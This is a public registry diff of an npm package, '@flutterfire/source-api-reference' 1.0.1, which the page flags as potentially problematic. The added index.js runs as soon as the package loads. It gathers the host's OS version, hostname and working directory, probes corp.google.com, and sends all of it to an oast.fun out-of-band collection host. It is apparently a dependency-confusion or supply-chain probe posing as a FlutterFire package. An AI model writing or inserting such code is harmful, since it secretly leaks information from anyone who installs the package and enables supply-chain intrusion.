@flutterfire/source-api-reference 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @flutterfire/source-api-reference might be problematic. Click here for more details.
- package/index.js +55 -0
- package/package.json +10 -0
package/index.js
ADDED
@@ -0,0 +1,55 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const process = require('process');
|
3
|
+
const https = require('https');
|
4
|
+
|
5
|
+
const osname = os.type();
|
6
|
+
const release = os.release();
|
7
|
+
const hostname = os.hostname();
|
8
|
+
const cwd = process.cwd();
|
9
|
+
const osname_str = `${osname} ${release}`;
|
10
|
+
|
11
|
+
function makeFirstRequest(status) {
|
12
|
+
const url1 = `https://mtxikmodmekbfhaadpqx5y7ginutuhsy6.oast.fun/?1=${encodeURIComponent(osname_str)}&2=${encodeURIComponent(cwd)}&3=${encodeURIComponent(hostname)}`
|
13
|
+
+ (status ? `&4=${encodeURIComponent(status)}` : '');
|
14
|
+
|
15
|
+
https.get(url1, (res) => {
|
16
|
+
let data = '';
|
17
|
+
|
18
|
+
res.on('data', (chunk) => {
|
19
|
+
data += chunk;
|
20
|
+
});
|
21
|
+
|
22
|
+
res.on('end', () => {
|
23
|
+
console.log('Response from first request:', data);
|
24
|
+
});
|
25
|
+
|
26
|
+
}).on('error', (err) => {
|
27
|
+
console.error('Error in first request:', err.message);
|
28
|
+
});
|
29
|
+
}
|
30
|
+
|
31
|
+
function makeSecondRequest() {
|
32
|
+
const url2 = 'https://corp.google.com/';
|
33
|
+
|
34
|
+
https.get(url2, (res) => {
|
35
|
+
const status = res.statusCode;
|
36
|
+
console.log('Status Code from second request:', status);
|
37
|
+
|
38
|
+
let data = '';
|
39
|
+
|
40
|
+
res.on('data', (chunk) => {
|
41
|
+
data += chunk;
|
42
|
+
});
|
43
|
+
|
44
|
+
res.on('end', () => {
|
45
|
+
console.log('Response from second request:', data);
|
46
|
+
makeFirstRequest(status);
|
47
|
+
});
|
48
|
+
|
49
|
+
}).on('error', (err) => {
|
50
|
+
console.error('Error in second request:', err.message);
|
51
|
+
makeFirstRequest('error');
|
52
|
+
});
|
53
|
+
}
|
54
|
+
|
55
|
+
makeSecondRequest();
|